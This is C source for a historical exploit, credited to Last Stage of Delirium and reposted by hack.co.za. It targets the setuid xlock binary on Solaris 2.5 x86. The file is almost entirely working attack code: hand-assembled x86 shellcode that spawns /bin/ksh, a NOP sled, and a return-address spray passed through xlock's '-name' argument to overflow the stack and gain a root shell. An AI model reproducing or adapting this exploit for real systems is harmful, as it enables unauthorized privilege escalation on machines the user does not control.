xlock-x86.c

/*## copyright LAST STAGE OF DELIRIUM apr 1998 poland xlock-x86.c

/*## copyright LAST STAGE OF DELIRIUM apr 1998 poland *://lsd-pl.net/ #*/
/*## /usr/openwin/bin/xlock #*/

#define ADRNUM 940-700
#define NOPNUM 12+700+16

char shellcode[]=
"\xeb\x1b" /* jmp <shellcode+30> */
"\x33\xd2" /* xorl %edx,%edx */
"\x58" /* popl %eax */
"\x8d\x78\x14" /* leal 0x14(%eax),edi */
"\x52" /* pushl %edx */
"\x57" /* pushl %edi */
"\x50" /* pushl %eax */
"\xab" /* stosl %eax,%es:(%edi) */
"\x92" /* xchgl %eax,%edx */
"\xab" /* stosl %eax,%es:(%edi) */
"\x88\x42\x08" /* movb %al,0x8(%edx) */
"\x83\xef\x3c" /* subl $0x3c,%edi */
"\xb0\x9a" /* movb $0x9a,%al */
"\xab" /* stosl %eax,%es:(%edi) */
"\x47" /* incl %edi */
"\xb0\x07" /* movb $0x7,%al */
"\xab" /* stosl %eax,%es:(%edi) */
"\xb0\x3b" /* movb $0x3b,%al */
"\xe8\xe0\xff\xff\xff" /* call <shellcode+2> */
"/bin/ksh"
;

char jump[]=
"\x8b\xc4" /* movl %esp,%eax */
"\xc3" /* ret */
;

main(int argc,char **argv){
char buffer[100000],adr[4],pch[4],*b;
int i;

printf("copyright LAST STAGE OF DELIRIUM apr 1998 poland //lsd-pl.net/\n");
printf("/usr/openwin/bin/xlock for solaris 2.5 2.5.1 x86\n\n");

*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+99701;

b=buffer;
for(i=0;i<NOPNUM;i++) *b++=0x90;
for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
*b=0;

execl("/usr/openwin/bin/xlock","xlock","-name",buffer,0);
}
/* www.hack.co.za [9 August 2000]*/